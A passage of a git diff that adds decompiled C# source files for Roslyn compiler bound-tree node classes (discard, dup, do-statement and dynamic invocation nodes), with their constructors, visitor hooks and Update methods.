wasTargetTyped, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.DelegateCreationExpression, syntax, type, hasErrors || argument.HasErrors()) + { + Argument = argument; + MethodOpt = methodOpt; + IsExtensionMethod = isExtensionMethod; + WasTargetTyped = wasTargetTyped; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDelegateCreationExpression(this); + } + + public BoundDelegateCreationExpression Update(BoundExpression argument, MethodSymbol? methodOpt, bool isExtensionMethod, bool wasTargetTyped, TypeSymbol type) + { + if (argument != Argument || !SymbolEqualityComparer.ConsiderEverything.Equals(methodOpt, MethodOpt) || isExtensionMethod != IsExtensionMethod || wasTargetTyped != WasTargetTyped || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundDelegateCreationExpression boundDelegateCreationExpression = new BoundDelegateCreationExpression(Syntax, argument, methodOpt, isExtensionMethod, wasTargetTyped, type, base.HasErrors); + boundDelegateCreationExpression.CopyAttributes(this); + return boundDelegateCreationExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDiscardExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDiscardExpression.cs new file mode 100644 index 0000000..f8536ce --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDiscardExpression.cs @@ -0,0 +1,74 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDiscardExpression : BoundExpression +{ + public override Symbol ExpressionSymbol + { + get + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol? type = Type; + NullabilityInfo topLevelNullability = base.TopLevelNullability; + return new DiscardSymbol(TypeWithAnnotations.Create(type, ((NullabilityInfo)(ref topLevelNullability)).Annotation.ToInternalAnnotation())); + } + } + + public override object Display => ((object)Type) ?? ((object)"_"); + + public new TypeSymbol? Type => base.Type; + + public NullableAnnotation NullableAnnotation { get; } + + public bool IsInferred { get; } + + public BoundExpression SetInferredTypeWithAnnotations(TypeWithAnnotations type) + { + return Update(type.NullableAnnotation, isInferred: true, type.Type); + } + + public BoundDiscardExpression FailInference(Binder binder, BindingDiagnosticBag? diagnosticsOpt) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + if (((BindingDiagnosticBag)(diagnosticsOpt?)).DiagnosticBag != null) + { + Binder.Error(diagnosticsOpt, ErrorCode.ERR_DiscardTypeInferenceFailed, SyntaxNodeOrToken.op_Implicit(Syntax)); + } + return Update(NullableAnnotation.Oblivious, IsInferred, binder.CreateErrorType("var")); + } + + public BoundDiscardExpression(SyntaxNode syntax, NullableAnnotation nullableAnnotation, bool isInferred, TypeSymbol? type, bool hasErrors) + : base(BoundKind.DiscardExpression, syntax, type, hasErrors) + { + NullableAnnotation = nullableAnnotation; + IsInferred = isInferred; + } + + public BoundDiscardExpression(SyntaxNode syntax, NullableAnnotation nullableAnnotation, bool isInferred, TypeSymbol? type) + : base(BoundKind.DiscardExpression, syntax, type) + { + NullableAnnotation = nullableAnnotation; + IsInferred = isInferred; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDiscardExpression(this); + } + + public BoundDiscardExpression Update(NullableAnnotation nullableAnnotation, bool isInferred, TypeSymbol? type) + { + if (nullableAnnotation != NullableAnnotation || isInferred != IsInferred || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundDiscardExpression boundDiscardExpression = new BoundDiscardExpression(Syntax, nullableAnnotation, isInferred, type, base.HasErrors); + boundDiscardExpression.CopyAttributes(this); + return boundDiscardExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDiscardPattern.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDiscardPattern.cs new file mode 100644 index 0000000..50c01a6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDiscardPattern.cs @@ -0,0 +1,34 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDiscardPattern : BoundPattern +{ + public BoundDiscardPattern(SyntaxNode syntax, TypeSymbol inputType, TypeSymbol narrowedType, bool hasErrors) + : base(BoundKind.DiscardPattern, syntax, inputType, narrowedType, hasErrors) + { + } + + public BoundDiscardPattern(SyntaxNode syntax, TypeSymbol inputType, TypeSymbol narrowedType) + : base(BoundKind.DiscardPattern, syntax, inputType, narrowedType) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDiscardPattern(this); + } + + public BoundDiscardPattern Update(TypeSymbol inputType, TypeSymbol narrowedType) + { + if (!TypeSymbol.Equals(inputType, base.InputType, (TypeCompareKind)0) || !TypeSymbol.Equals(narrowedType, base.NarrowedType, (TypeCompareKind)0)) + { + BoundDiscardPattern boundDiscardPattern = new BoundDiscardPattern(Syntax, inputType, narrowedType, base.HasErrors); + boundDiscardPattern.CopyAttributes(this); + return boundDiscardPattern; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDisposableValuePlaceholder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDisposableValuePlaceholder.cs new file mode 100644 index 0000000..a43e5bf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDisposableValuePlaceholder.cs @@ -0,0 +1,38 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDisposableValuePlaceholder : BoundValuePlaceholderBase +{ + public sealed override bool IsEquivalentToThisReference => false; + + public new TypeSymbol Type => base.Type; + + public BoundDisposableValuePlaceholder(SyntaxNode syntax, TypeSymbol type, bool hasErrors) + : base(BoundKind.DisposableValuePlaceholder, syntax, type, hasErrors) + { + } + + public BoundDisposableValuePlaceholder(SyntaxNode syntax, TypeSymbol type) + : base(BoundKind.DisposableValuePlaceholder, syntax, type) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDisposableValuePlaceholder(this); + } + + public BoundDisposableValuePlaceholder Update(TypeSymbol type) + { + if (!TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundDisposableValuePlaceholder boundDisposableValuePlaceholder = new BoundDisposableValuePlaceholder(Syntax, type, base.HasErrors); + boundDisposableValuePlaceholder.CopyAttributes(this); + return boundDisposableValuePlaceholder; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDoStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDoStatement.cs new file mode 100644 index 0000000..d0114cd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDoStatement.cs @@ -0,0 +1,30 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDoStatement : BoundConditionalLoopStatement +{ + public BoundDoStatement(SyntaxNode syntax, ImmutableArray locals, BoundExpression condition, BoundStatement body, GeneratedLabelSymbol breakLabel, GeneratedLabelSymbol continueLabel, bool hasErrors = false) + : base(BoundKind.DoStatement, syntax, locals, condition, body, breakLabel, continueLabel, hasErrors || condition.HasErrors() || body.HasErrors()) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDoStatement(this); + } + + public BoundDoStatement Update(ImmutableArray locals, BoundExpression condition, BoundStatement body, GeneratedLabelSymbol breakLabel, GeneratedLabelSymbol continueLabel) + { + if (locals != base.Locals || condition != base.Condition || body != base.Body || !SymbolEqualityComparer.ConsiderEverything.Equals(breakLabel, base.BreakLabel) || !SymbolEqualityComparer.ConsiderEverything.Equals(continueLabel, base.ContinueLabel)) + { + BoundDoStatement boundDoStatement = new BoundDoStatement(Syntax, locals, condition, body, breakLabel, continueLabel, base.HasErrors); + boundDoStatement.CopyAttributes(this); + return boundDoStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDup.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDup.cs new file mode 100644 index 0000000..d35916e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDup.cs @@ -0,0 +1,45 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDup : BoundExpression +{ + public RefKind RefKind { get; } + + public BoundDup(SyntaxNode syntax, RefKind refKind, TypeSymbol? type, bool hasErrors) + : base(BoundKind.Dup, syntax, type, hasErrors) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + RefKind = refKind; + } + + public BoundDup(SyntaxNode syntax, RefKind refKind, TypeSymbol? type) + : base(BoundKind.Dup, syntax, type) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + RefKind = refKind; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDup(this); + } + + public BoundDup Update(RefKind refKind, TypeSymbol? type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (refKind != RefKind || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundDup boundDup = new BoundDup(Syntax, refKind, type, base.HasErrors); + boundDup.CopyAttributes(this); + return boundDup; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDynamicCollectionElementInitializer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDynamicCollectionElementInitializer.cs new file mode 100644 index 0000000..e8d9940 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDynamicCollectionElementInitializer.cs @@ -0,0 +1,35 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDynamicCollectionElementInitializer : BoundDynamicInvocableBase +{ + public new TypeSymbol Type => base.Type; + + public ImmutableArray ApplicableMethods { get; } + + public BoundDynamicCollectionElementInitializer(SyntaxNode syntax, ImmutableArray applicableMethods, BoundExpression expression, ImmutableArray arguments, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.DynamicCollectionElementInitializer, syntax, expression, arguments, type, hasErrors || expression.HasErrors() || arguments.HasErrors()) + { + ApplicableMethods = applicableMethods; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDynamicCollectionElementInitializer(this); + } + + public BoundDynamicCollectionElementInitializer Update(ImmutableArray applicableMethods, BoundExpression expression, ImmutableArray arguments, TypeSymbol type) + { + if (applicableMethods != ApplicableMethods || expression != base.Expression || arguments != base.Arguments || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundDynamicCollectionElementInitializer boundDynamicCollectionElementInitializer = new BoundDynamicCollectionElementInitializer(Syntax, applicableMethods, expression, arguments, type, base.HasErrors); + boundDynamicCollectionElementInitializer.CopyAttributes(this); + return boundDynamicCollectionElementInitializer; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDynamicIndexerAccess.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDynamicIndexerAccess.cs new file mode 100644 index 0000000..f1bebd9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDynamicIndexerAccess.cs @@ -0,0 +1,63 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDynamicIndexerAccess : BoundExpression +{ + protected override ImmutableArray Children => StaticCast.From(Arguments.Insert(0, Receiver)); + + public new TypeSymbol Type => base.Type; + + public BoundExpression Receiver { get; } + + public ImmutableArray Arguments { get; } + + public ImmutableArray ArgumentNamesOpt { get; } + + public ImmutableArray ArgumentRefKindsOpt { get; } + + public ImmutableArray ApplicableIndexers { get; } + + internal string? TryGetIndexedPropertyName() + { + ImmutableArray.Enumerator enumerator = ApplicableIndexers.GetEnumerator(); + while (enumerator.MoveNext()) + { + PropertySymbol current = enumerator.Current; + if (!current.IsIndexer && current.IsIndexedProperty) + { + return current.Name; + } + } + return null; + } + + public BoundDynamicIndexerAccess(SyntaxNode syntax, BoundExpression receiver, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, ImmutableArray applicableIndexers, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.DynamicIndexerAccess, syntax, type, hasErrors || receiver.HasErrors() || arguments.HasErrors()) + { + Receiver = receiver; + Arguments = arguments; + ArgumentNamesOpt = argumentNamesOpt; + ArgumentRefKindsOpt = argumentRefKindsOpt; + ApplicableIndexers = applicableIndexers; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDynamicIndexerAccess(this); + } + + public BoundDynamicIndexerAccess Update(BoundExpression receiver, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, ImmutableArray applicableIndexers, TypeSymbol type) + { + if (receiver != Receiver || arguments != Arguments || argumentNamesOpt != ArgumentNamesOpt || argumentRefKindsOpt != ArgumentRefKindsOpt || applicableIndexers != ApplicableIndexers || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundDynamicIndexerAccess boundDynamicIndexerAccess = new BoundDynamicIndexerAccess(Syntax, receiver, arguments, argumentNamesOpt, argumentRefKindsOpt, applicableIndexers, type, base.HasErrors); + boundDynamicIndexerAccess.CopyAttributes(this); + return boundDynamicIndexerAccess; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDynamicInvocableBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDynamicInvocableBase.cs new file mode 100644 index 0000000..d05033b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDynamicInvocableBase.cs @@ -0,0 +1,18 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundDynamicInvocableBase : BoundExpression +{ + public BoundExpression Expression { get; } + + public ImmutableArray Arguments { get; } + + protected BoundDynamicInvocableBase(BoundKind kind, SyntaxNode syntax, BoundExpression expression, ImmutableArray arguments, TypeSymbol? type, bool hasErrors = false) + : base(kind, syntax, type, hasErrors) + { + Expression = expression; + Arguments = arguments; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDynamicInvocation.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDynamicInvocation.cs new file mode 100644 index 0000000..4c6e9db --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDynamicInvocation.cs @@ -0,0 +1,43 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDynamicInvocation : BoundDynamicInvocableBase +{ + protected override ImmutableArray Children => StaticCast.From(base.Arguments.Insert(0, base.Expression)); + + public new TypeSymbol Type => base.Type; + + public ImmutableArray ArgumentNamesOpt { get; } + + public ImmutableArray ArgumentRefKindsOpt { get; } + + public ImmutableArray ApplicableMethods { get; } + + public BoundDynamicInvocation(SyntaxNode syntax, ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, ImmutableArray applicableMethods, BoundExpression expression, ImmutableArray arguments, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.DynamicInvocation, syntax, expression, arguments, type, hasErrors || expression.HasErrors() || arguments.HasErrors()) + { + ArgumentNamesOpt = argumentNamesOpt; + ArgumentRefKindsOpt = argumentRefKindsOpt; + ApplicableMethods = applicableMethods; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDynamicInvocation(this); + } + + public BoundDynamicInvocation Update(ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, ImmutableArray applicableMethods, BoundExpression expression, ImmutableArray arguments, TypeSymbol type) + { + if (argumentNamesOpt != ArgumentNamesOpt || argumentRefKindsOpt != ArgumentRefKindsOpt || applicableMethods != ApplicableMethods || expression != base.Expression || arguments != base.Arguments || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundDynamicInvocation boundDynamicInvocation = new BoundDynamicInvocation(Syntax, argumentNamesOpt, argumentRefKindsOpt, applicableMethods, expression, arguments, type, base.HasErrors); + boundDynamicInvocation.CopyAttributes(this); + return boundDynamicInvocation; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDynamicMemberAccess.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDynamicMemberAccess.cs new file mode 100644 index 0000000..af7eab9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDynamicMemberAccess.cs @@ -0,0 +1,49 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDynamicMemberAccess : BoundExpression +{ + protected override ImmutableArray Children => ImmutableArray.Create((BoundNode)Receiver); + + public new TypeSymbol Type => base.Type; + + public BoundExpression Receiver { get; } + + public ImmutableArray TypeArgumentsOpt { get; } + + public string Name { get; } + + public bool Invoked { get; } + + public bool Indexed { get; } + + public BoundDynamicMemberAccess(SyntaxNode syntax, BoundExpression receiver, ImmutableArray typeArgumentsOpt, string name, bool invoked, bool indexed, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.DynamicMemberAccess, syntax, type, hasErrors || receiver.HasErrors()) + { + Receiver = receiver; + TypeArgumentsOpt = typeArgumentsOpt; + Name = name; + Invoked = invoked; + Indexed = indexed; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDynamicMemberAccess(this); + } + + public BoundDynamicMemberAccess Update(BoundExpression receiver, ImmutableArray typeArgumentsOpt, string name, bool invoked, bool indexed, TypeSymbol type) + { + if (receiver != Receiver || typeArgumentsOpt != TypeArgumentsOpt || name != Name || invoked != Invoked || indexed != Indexed || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundDynamicMemberAccess boundDynamicMemberAccess = new BoundDynamicMemberAccess(Syntax, receiver, typeArgumentsOpt, name, invoked, indexed, type, base.HasErrors); + boundDynamicMemberAccess.CopyAttributes(this); + return boundDynamicMemberAccess; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDynamicObjectCreationExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDynamicObjectCreationExpression.cs new file mode 100644 index 0000000..9e89a8a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDynamicObjectCreationExpression.cs @@ -0,0 +1,61 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDynamicObjectCreationExpression : BoundObjectCreationExpressionBase +{ + public override MethodSymbol? Constructor => null; + + public override bool Expanded => false; + + public override ImmutableArray ArgsToParamsOpt => default(ImmutableArray); + + public override BitVector DefaultArguments => default(BitVector); + + protected override ImmutableArray Children => StaticCast.From(Arguments.AddRange(BoundObjectCreationExpression.GetChildInitializers(InitializerExpressionOpt))); + + public string Name { get; } + + public override ImmutableArray Arguments { get; } + + public override ImmutableArray ArgumentNamesOpt { get; } + + public override ImmutableArray ArgumentRefKindsOpt { get; } + + public override BoundObjectInitializerExpressionBase? InitializerExpressionOpt { get; } + + public ImmutableArray ApplicableMethods { get; } + + public override bool WasTargetTyped { get; } + + public BoundDynamicObjectCreationExpression(SyntaxNode syntax, string name, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, BoundObjectInitializerExpressionBase? initializerExpressionOpt, ImmutableArray applicableMethods, bool wasTargetTyped, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.DynamicObjectCreationExpression, syntax, type, hasErrors || arguments.HasErrors() || initializerExpressionOpt.HasErrors()) + { + Name = name; + Arguments = arguments; + ArgumentNamesOpt = argumentNamesOpt; + ArgumentRefKindsOpt = argumentRefKindsOpt; + InitializerExpressionOpt = initializerExpressionOpt; + ApplicableMethods = applicableMethods; + WasTargetTyped = wasTargetTyped; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDynamicObjectCreationExpression(this); + } + + public BoundDynamicObjectCreationExpression Update(string name, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, BoundObjectInitializerExpressionBase? initializerExpressionOpt, ImmutableArray applicableMethods, bool wasTargetTyped, TypeSymbol type) + { + if (name != Name || arguments != Arguments || argumentNamesOpt != ArgumentNamesOpt || argumentRefKindsOpt != ArgumentRefKindsOpt || initializerExpressionOpt != InitializerExpressionOpt || applicableMethods != ApplicableMethods || wasTargetTyped != WasTargetTyped || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundDynamicObjectCreationExpression boundDynamicObjectCreationExpression = new BoundDynamicObjectCreationExpression(Syntax, name, arguments, argumentNamesOpt, argumentRefKindsOpt, initializerExpressionOpt, applicableMethods, wasTargetTyped, type, base.HasErrors); + boundDynamicObjectCreationExpression.CopyAttributes(this); + return boundDynamicObjectCreationExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDynamicObjectInitializerMember.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDynamicObjectInitializerMember.cs new file mode 100644 index 0000000..4c23b9e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDynamicObjectInitializerMember.cs @@ -0,0 +1,44 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDynamicObjectInitializerMember : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public string MemberName { get; } + + public TypeSymbol ReceiverType { get; } + + public BoundDynamicObjectInitializerMember(SyntaxNode syntax, string memberName, TypeSymbol receiverType, TypeSymbol type, bool hasErrors) + : base(BoundKind.DynamicObjectInitializerMember, syntax, type, hasErrors) + { + MemberName = memberName; + ReceiverType = receiverType; + } + + public BoundDynamicObjectInitializerMember(SyntaxNode syntax, string memberName, TypeSymbol receiverType, TypeSymbol type) + : base(BoundKind.DynamicObjectInitializerMember, syntax, type) + { + MemberName = memberName; + ReceiverType = receiverType; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDynamicObjectInitializerMember(this); + } + + public BoundDynamicObjectInitializerMember Update(string memberName, TypeSymbol receiverType, TypeSymbol type) + { + if (memberName != MemberName || !TypeSymbol.Equals(receiverType, ReceiverType, (TypeCompareKind)0) || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundDynamicObjectInitializerMember boundDynamicObjectInitializerMember = new BoundDynamicObjectInitializerMember(Syntax, memberName, receiverType, type, base.HasErrors); + boundDynamicObjectInitializerMember.CopyAttributes(this); + return boundDynamicObjectInitializerMember; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundEarlyValuePlaceholderBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundEarlyValuePlaceholderBase.cs new file mode 100644 index 0000000..abd942f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundEarlyValuePlaceholderBase.cs @@ -0,0 +1,16 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundEarlyValuePlaceholderBase : BoundValuePlaceholderBase +{ + protected BoundEarlyValuePlaceholderBase(BoundKind kind, SyntaxNode syntax, TypeSymbol? type, bool hasErrors) + : base(kind, syntax, type, hasErrors) + { + } + + protected BoundEarlyValuePlaceholderBase(BoundKind kind, SyntaxNode syntax, TypeSymbol? type) + : base(kind, syntax, type) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundEqualsValue.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundEqualsValue.cs new file mode 100644 index 0000000..e5bfe4f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundEqualsValue.cs @@ -0,0 +1,18 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundEqualsValue : BoundInitializer +{ + public ImmutableArray Locals { get; } + + public BoundExpression Value { get; } + + protected BoundEqualsValue(BoundKind kind, SyntaxNode syntax, ImmutableArray locals, BoundExpression value, bool hasErrors = false) + : base(kind, syntax, hasErrors) + { + Locals = locals; + Value = value; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundEvaluationDecisionDagNode.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundEvaluationDecisionDagNode.cs new file mode 100644 index 0000000..b6d47fa --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundEvaluationDecisionDagNode.cs @@ -0,0 +1,34 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundEvaluationDecisionDagNode : BoundDecisionDagNode +{ + public BoundDagEvaluation Evaluation { get; } + + public BoundDecisionDagNode Next { get; } + + public BoundEvaluationDecisionDagNode(SyntaxNode syntax, BoundDagEvaluation evaluation, BoundDecisionDagNode next, bool hasErrors = false) + : base(BoundKind.EvaluationDecisionDagNode, syntax, hasErrors || evaluation.HasErrors() || next.HasErrors()) + { + Evaluation = evaluation; + Next = next; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitEvaluationDecisionDagNode(this); + } + + public BoundEvaluationDecisionDagNode Update(BoundDagEvaluation evaluation, BoundDecisionDagNode next) + { + if (evaluation != Evaluation || next != Next) + { + BoundEvaluationDecisionDagNode boundEvaluationDecisionDagNode = new BoundEvaluationDecisionDagNode(Syntax, evaluation, next, base.HasErrors); + boundEvaluationDecisionDagNode.CopyAttributes(this); + return boundEvaluationDecisionDagNode; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundEventAccess.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundEventAccess.cs new file mode 100644 index 0000000..4f22227 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundEventAccess.cs @@ -0,0 +1,45 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundEventAccess : BoundExpression +{ + public override Symbol ExpressionSymbol => EventSymbol; + + public new TypeSymbol Type => base.Type; + + public BoundExpression? ReceiverOpt { get; } + + public EventSymbol EventSymbol { get; } + + public bool 